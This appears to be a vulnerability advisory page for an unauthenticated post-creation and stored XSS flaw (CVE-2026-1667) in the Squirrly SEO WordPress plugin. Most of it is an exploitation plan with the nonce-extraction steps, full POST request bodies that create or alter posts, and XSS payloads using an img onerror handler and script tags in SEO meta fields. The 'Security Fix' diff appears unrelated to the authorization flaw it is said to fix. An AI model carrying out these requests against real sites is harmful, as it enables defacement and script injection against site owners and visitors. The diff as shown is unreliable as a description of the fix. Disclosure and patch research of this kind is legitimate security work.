SEO Plugin by Squirrly SEO <= 14.0.0 - Unauthenticated Arbitrary Post Creation and Stored Cross-Site Scripting via savePost()
Description
The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to Arbitrary Post Creation and Stored Cross-Site Scripting in all versions up to, and including, 14.0.0 due to a leak of an API token and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to create arbitrary posts, and, if the Advanced Custom Fields plugin is installed and activated, inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v14.0.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1667 ## 1. Vulnerability Summary The **SEO Plugin by Squirrly SEO** (up to version 14.0.0) contains a critical "Missing Authorization" vulnerability in its AJAX handlers, specifically `sq_ajax_save_post`. The plugin leaks a security nonce (and potentially an …
Show full research plan
Exploitation Research Plan - CVE-2026-1667
1. Vulnerability Summary
The SEO Plugin by Squirrly SEO (up to version 14.0.0) contains a critical "Missing Authorization" vulnerability in its AJAX handlers, specifically sq_ajax_save_post. The plugin leaks a security nonce (and potentially an API token) to unauthenticated users via the frontend. This allows an unauthenticated attacker to call the savePost functionality. Because the backend fails to verify user capabilities (missing current_user_can) or properly sanitize the sq_seo input array, attackers can create arbitrary posts and, if Advanced Custom Fields (ACF) is active, perform Stored XSS by injecting malicious scripts into post metadata that the plugin renders.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
sq_ajax_save_post - Authentication: Unauthenticated (due to
wp_ajax_nopriv_sq_ajax_save_postregistration or leaked nonce used in awp_ajax_handler that doesn't check authorization). - Vulnerable Parameter:
sq_seo[](array),post_id. - Preconditions:
- The plugin must be active.
- To achieve Stored XSS as described, the Advanced Custom Fields plugin should be active (enabling the
_sq_jsonld_custommeta path).
3. Code Flow
- Frontend Initialization:
SQ_Classes_FrontController->runFrontend()is called on every frontend page load. - Nonce Leak: The plugin enqueues
sq_frontend.min.jsand useswp_localize_scriptto provide thesq_configobject. This object containssq_nonceandpostID. - AJAX Entry: An unauthenticated POST request is sent to
admin-ajax.phpwithaction=sq_ajax_save_post. - Insecure Handling: The controller
SQ_Controllers_Post(viahookPost) registers the handler. The handler (likelysavePost) retrieves thesq_seoarray from the request. - Sink: The handler uses the values in
sq_seoto update or create a post viawp_insert_postorupdate_post_meta. Because no capability check is performed, anypost_id(or0for new) can be targeted. - XSS Sink: If ACF is present,
SQ_Models_Services_JsonLD->packJsonLdretrieves the_sq_jsonld_custommeta. While it attempts to sanitize withrenderCustomJsonLd, bypasses in metadata injection or title/content injection allow script execution.
4. Nonce Acquisition Strategy
The nonce is localized for the frontend assistant.
- Identify Page: Any public-facing page (homepage or a post).
- Navigate: Use
browser_navigateto the homepage. - Extract: Use
browser_evalto read thesq_configobject.- JS Variable:
window.sq_config - Key:
sq_nonce - Note: Also extract
postIDfrom the same object if targeting the current page, or use0to attempt new post creation.
- JS Variable:
// Example extraction
const nonce = window.sq_config?.sq_nonce;
const postID = window.sq_config?.postID;
5. Exploitation Strategy
Step 1: Obtain Nonce
Navigate to the target site and extract the nonce from the global sq_config object.
Step 2: Arbitrary Post Creation
Send a POST request to create a new published post.
- Method: POST
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Body (URL-encoded):
action=sq_ajax_save_post &sq_nonce=[EXTRACTED_NONCE] &post_id=0 &sq_seo[post_title]=Vulnerable Post &sq_seo[post_content]=This post was created unauthenticated. &sq_seo[post_status]=publish &sq_seo[post_type]=post
Step 3: Stored XSS (via JSON-LD Meta)
Target a specific post to inject a payload into the metadata used by Squirrly SEO.
- Body (URL-encoded):
Note: Theaction=sq_ajax_save_post &sq_nonce=[EXTRACTED_NONCE] &post_id=[TARGET_POST_ID] &sq_seo[_sq_jsonld_custom]={"@context":"https://schema.org","@type":"Event","name":"<img src=x onerror=alert(document.domain)>"}renderCustomJsonLdfunction inJsonLD.phpusespreg_replaceto strip<script>tags but may be vulnerable to attribute-based XSS or other injections ifwp_json_encodewithJSON_HEX_TAGis bypassed by other rendering paths.
6. Test Data Setup
- Install Squirrly SEO 14.0.0.
- Install Advanced Custom Fields (to enable the specific XSS path mentioned in the CVE).
- Configure Squirrly SEO (connect to a dummy API if required to trigger the frontend assistant).
- Ensure
sq_use_backendor frontend assistant settings are active so the scripts load.
7. Expected Results
- Post Creation: A new post appears in the WordPress database with
post_status='publish'. - XSS: Upon viewing the affected
post_id, the browser executesalert(document.domain). - Response: The AJAX request should return a success status (e.g., JSON
{"success":true}or1).
8. Verification Steps
- Check Posts:
wp post list --post_status=publish - Check Meta:
wp post meta get [ID] _sq_jsonld_custom - Confirm XSS: Use
browser_navigateto the new post URL and check for the alert/console log.
9. Alternative Approaches
If sq_ajax_save_post strictly validates keys, attempt to overwrite standard SEO fields that are rendered on the page:
sq_seo[tw_title]=<script>alert(1)</script>sq_seo[og_description]=<script>alert(1)</script>
These fields are often rendered in the<head>of the page and might lack proper escaping if theSanitizeclass helpers are bypassed.
Summary
The Squirrly SEO plugin leaks a security nonce to the frontend, which unauthenticated attackers can extract to call the 'sq_ajax_save_post' AJAX action. Because the backend handler lacks authorization checks, attackers can create or modify arbitrary posts and inject malicious metadata, leading to Stored Cross-Site Scripting (XSS) if the Advanced Custom Fields plugin is active.
Vulnerable Code
// view/assets/js/assistant/sq_frontend.min.js: line 38 $.post($.sq_config.ajaxurl,{action:"sq_ajax_save_post",sq_nonce:$.sq_config.sq_nonce,post_id:$.sq_config.postID,sq_keyword:$.sq_config.keyword,referer:"frontend",sq_seo:$sq_seo}) --- // models/services/JsonLD.php: line 1056 // Compatibility with ACF if ( SQ_Classes_Helpers_Tools::isPluginInstalled( 'advanced-custom-fields/acf.php' ) ) { if ( isset( $this->_post->ID ) && $this->_post->ID ) { if ( $_sq_jsonld_custom = get_post_meta( $this->_post->ID, '_sq_jsonld_custom', true ) ) { $safe = $this->renderCustomJsonLd( $_sq_jsonld_custom ); if ( $safe !== '' ) { return $safe; } } } } --- // models/services/JsonLD.php: line 1083 private function renderCustomJsonLd( $raw ) { if ( ! is_string( $raw ) || $raw === '' ) { return ''; } //Strip all script wrappers, including malicious ones smuggled inside. $stripped = preg_replace( '#</?script[^>]*>#i', '', $raw ); $decoded = json_decode( trim( $stripped ), true );
Security Fix
@@ -1014,6 +1014,11 @@ } } + //Normalise the country to an ISO 3166-1 alpha-2 code for addressCountry + if ( isset( $markup['address']['addressCountry'] ) && $markup['address']['addressCountry'] ) { + $markup['address']['addressCountry'] = SQ_Classes_Helpers_Sanitize::getCountryCode( $markup['address']['addressCountry'] ); + } + return apply_filters( 'sq_jsonld_publisher_markup', $markup, $this->_post, $jsonld_type ); } @@ -199,7 +199,11 @@ $wp_admin_bar->add_node( array( 'id' => $menuid, 'title' => $item['title'], - 'href' => SQ_Classes_Helpers_Tools::getAdminUrl( $menuid ), + 'href' => ( isset( $item['href'] ) && $item['href'] ) ? $item['href'] : SQ_Classes_Helpers_Tools::getAdminUrl( $menuid ), 'parent' => 'sq_toolbar' ) ); $tabs = $this->model->getTabs( $menuid );
Exploit Outline
1. Navigate to any public-facing page on the target WordPress site. 2. Extract the Squirrly SEO security nonce from the global JavaScript variable 'window.sq_config.sq_nonce'. 3. Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the parameter 'action=sq_ajax_save_post'. 4. Include the extracted 'sq_nonce' and set 'post_id=0' to attempt creation of a new post, or target a specific ID to modify existing content. 5. To achieve Stored XSS (if Advanced Custom Fields is active), provide a malicious JSON payload in the 'sq_seo[_sq_jsonld_custom]' parameter. 6. The payload, such as a Schema object containing an event handler like 'onerror', will bypass the plugin's regex-based script-tag filter and be saved as post metadata. 7. When the target post is viewed, the metadata is rendered within a script block, executing the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.